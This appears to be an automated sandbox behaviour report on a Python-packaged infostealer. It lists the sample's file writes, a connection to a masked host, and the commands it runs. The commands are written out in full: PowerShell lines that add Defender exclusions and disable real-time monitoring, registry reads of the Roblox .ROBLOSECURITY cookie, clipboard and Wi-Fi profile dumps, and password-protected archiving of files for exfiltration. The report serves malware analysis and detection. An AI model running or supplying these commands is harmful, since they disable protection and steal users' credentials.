Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '<Full path to file>'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -Enabl...
Reads files which store third party applications passwords
- %HOMEPATH%\desktop\cveuropeo.doc
- %HOMEPATH%\desktop\file_p_00000000_1371597592.docx
- %HOMEPATH%\desktop\hanni_umami_chapter.doc
- %HOMEPATH%\desktop\issi2013_template_for_posters.docx
Modifies file system
Creates the following files
- %TEMP%\_mei14602\vcruntime140.dll
- %TEMP%\ \common files\desktop\hanni_umami_chapter.doc
- %TEMP%\ \common files\desktop\file_p_00000000_1371597592.docx
- %TEMP%\ \common files\desktop\cveuropeo.doc
- %TEMP%\_mei14602\unicodedata.pyd
- %TEMP%\_mei14602\sqlite3.dll
- %TEMP%\_mei14602\skoch.aes
- %TEMP%\_mei14602\select.pyd
- %TEMP%\_mei14602\rarreg.key
- %TEMP%\_mei14602\rar.exe
- %TEMP%\_mei14602\python310.dll
- %TEMP%\_mei14602\libssl-1_1.dll
- %TEMP%\_mei14602\libffi-7.dll
- %TEMP%\_mei14602\libcrypto-1_1.dll
- %TEMP%\_mei14602\base_library.zip
- %TEMP%\_mei14602\_ssl.pyd
- %TEMP%\_mei14602\_sqlite3.pyd
- %TEMP%\_mei14602\_socket.pyd
- %TEMP%\_mei14602\_queue.pyd
- %TEMP%\_mei14602\_lzma.pyd
- %TEMP%\_mei14602\_hashlib.pyd
- %TEMP%\_mei14602\_decimal.pyd
- %TEMP%\_mei14602\_ctypes.pyd
- %TEMP%\_mei14602\_bz2.pyd
- %TEMP%\ \common files\desktop\issi2013_template_for_posters.docx
- %TEMP%\ \system\antivirus.txt
Network activity
Connects to
- 'gs##tic.com':443
TCP
Other
- 'gs##tic.com':443
UDP
- DNS ASK gs##tic.com
Miscellaneous
Creates and executes the following
- '%TEMP%\_mei14602\rar.exe' a -r -hp"..." "%TEMP%\nnKFO.zip" *
- '<SYSTEM32>\cmd.exe' /c "powershell -Command Add-MpPreference -ExclusionPath '<Full path to file>'"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "wmic computersystem get totalphysicalmemory"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "wmic os get Caption"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\_MEI14602\rar.exe a -r -hp"..." "%TEMP%\nnKFO.zip" *"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESBD.tmp" "%TEMP%\lvzxtagd\CSCD8940289F7B74105A4ABE06E972220A6.TMP"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "getmac"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\lvzxtagd\lvzxtagd.cmdline"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbAB...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "systeminfo"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "netsh wlan show profile"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "tree /A /F"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "wmic path win32_shortcutfile where name="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Steam\\Steam.lnk" get target /value"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell Get-Clipboard"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "wmic path win32_shortcutfile where name="C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Telegram Desktop\\Telegram.lnk" get target /value"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "tasklist /FO LIST"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess ...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "wmic csproduct get uuid"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"' (with hidden window)
Restarts the analyzed sample
Executes the following
- '<SYSTEM32>\cmd.exe' /c "powershell -Command Add-MpPreference -ExclusionPath '<Full path to file>'"
- '<SYSTEM32>\cmd.exe' /c "getmac"
- '<SYSTEM32>\cmd.exe' /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESBD.tmp" "%TEMP%\lvzxtagd\CSCD8940289F7B74105A4ABE06E972220A6.TMP"
- '<SYSTEM32>\getmac.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC...
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\lvzxtagd\lvzxtagd.cmdline"
- '<SYSTEM32>\cmd.exe' /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
- '<SYSTEM32>\cmd.exe' /c "wmic os get Caption"
- '<SYSTEM32>\wbem\wmic.exe' os get Caption
- '<SYSTEM32>\cmd.exe' /c "wmic computersystem get totalphysicalmemory"
- '<SYSTEM32>\wbem\wmic.exe' computersystem get totalphysicalmemory
- '<SYSTEM32>\cmd.exe' /c "wmic csproduct get uuid"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\_MEI14602\rar.exe a -r -hp"..." "%TEMP%\nnKFO.zip" *"
- '<SYSTEM32>\systeminfo.exe'
- '<SYSTEM32>\wbem\wmic.exe' /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
- '<SYSTEM32>\netsh.exe' wlan show profile
- '<SYSTEM32>\cmd.exe' /c "tasklist /FO LIST"
- '<SYSTEM32>\cmd.exe' /c "wmic path win32_shortcutfile where name="C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Telegram Desktop\\Telegram.lnk" get target /value"
- '<SYSTEM32>\cmd.exe' /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
- '<SYSTEM32>\cmd.exe' /c "powershell Get-Clipboard"
- '<SYSTEM32>\cmd.exe' /c "wmic path win32_shortcutfile where name="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Steam\\Steam.lnk" get target /value"
- '<SYSTEM32>\cmd.exe' /c "tree /A /F"
- '<SYSTEM32>\cmd.exe' /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess ...
- '<SYSTEM32>\cmd.exe' /c "netsh wlan show profile"
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbAB...
- '<SYSTEM32>\tasklist.exe' /FO LIST
- '<SYSTEM32>\wbem\wmic.exe' path win32_shortcutfile where name="C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Telegram Desktop\\Telegram.lnk" get target /value
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Get-Clipboard
- '<SYSTEM32>\wbem\wmic.exe' path win32_shortcutfile where name="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Steam\\Steam.lnk" get target /value
- '<SYSTEM32>\tree.com' /A /F
- '<SYSTEM32>\cmd.exe' /c "systeminfo"
- '<SYSTEM32>\wbem\wmic.exe' csproduct get uuid
- '<SYSTEM32>\cmd.exe' /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
